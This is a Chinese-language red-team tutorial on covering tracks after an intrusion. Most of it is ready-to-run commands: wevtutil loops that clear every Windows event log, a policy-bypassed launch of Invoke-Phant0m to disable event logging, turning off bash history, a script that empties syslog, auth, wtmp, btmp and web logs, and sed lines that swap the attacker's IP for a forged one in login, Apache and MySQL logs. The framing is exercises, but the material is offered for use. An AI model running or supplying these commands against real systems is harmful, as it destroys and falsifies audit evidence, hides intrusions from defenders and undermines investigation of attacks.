紅隊痕跡清理之入侵日志處理
VSole2021-12-15 14:02:21
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
前言
在攻擊結束后,如何不留痕跡的清除日志和操作記錄,以掩蓋入侵蹤跡,這其實是一個細致的技術活。在藍隊的溯源中,攻擊者的攻擊路徑都將記錄在日志中,所遺留的工具也會被藍隊進行分析,在工具中可以查找特征,紅隊自研工具更容易留下蛛絲馬跡。你所做的每一個操作,都要被抹掉;你所上傳的工具,都應該被安全地刪掉,以防被溯源在演練中失分。
Windows日志處理
Windows事件日志不同EVENT ID代表的不同意義

Windows日志管理工具wevtutil.exe
wevtutil搭配for循環清除所有日志
for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"
Powershell批量刪日志
wevtutil el | Foreach-Object {Write-Host "Clearing $_"; wevtutil cl "$_"}
加載運行powershell腳本刪除日志
powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-Phant0m.ps1';Invoke-Phant0m}"github
地址:https://github.com/gouduyao/Invoke-Phant0m

Linux日志處理
- Bash日志處理
bash去掉history記錄,讓系統不記錄歷史操作命令(使用較少)
export HISTSIZE=0export HISTFILE=/dev/null
history命令的清除
history -c # 刪除內存中的所有命令歷史history -r # 刪除當前會話歷史記錄
- 系統日志

一鍵清理日志bash腳本
# !/usr/bin/bashecho > /var/log/syslogecho > /var/log/messagesecho > /var/log/httpd/access_logecho > /var/log/httpd/error_logecho > /var/log/xferlogecho > /var/log/secureecho > /var/log/auth.logecho > /var/log/user.logecho > /var/log/wtmpecho > /var/log/lastlogecho > /var/log/btmpecho > /var/run/utmprm ~/./bash_historyhistory -c
使用sed偽造日志或定向刪除
# 192.168.100.101為攻擊者IP,10.0.0.55為偽造IP,-i編輯文件sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/btmp*sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/lastlogsed 's/192.168.100.101/10.0.0.55/g' -i /var/log/wtmpsed 's/192.168.100.101/10.0.0.55/g' -i securesed 's/192.168.100.101/10.0.0.55/g' -i /var/log/utmp
由于日志文件偏多這里建議如上編輯為bash腳本一鍵清理
web日志同樣可以使用sed進行偽造,例如apache日志、MySQL日志、php日志
sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/apache/access.logsed 's/192.168.100.101/10.0.0.55/g' –i /var/log/apache/error_log sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/mysql/mysql_error.logsed 's/192.168.100.101/10.0.0.55/g' –i /var/log/mysql/mysql_slow.log sed 's/192.168.100.101/192.168.1.4/g' –i /var/log/apache/php_error.log
VSole
網絡安全專家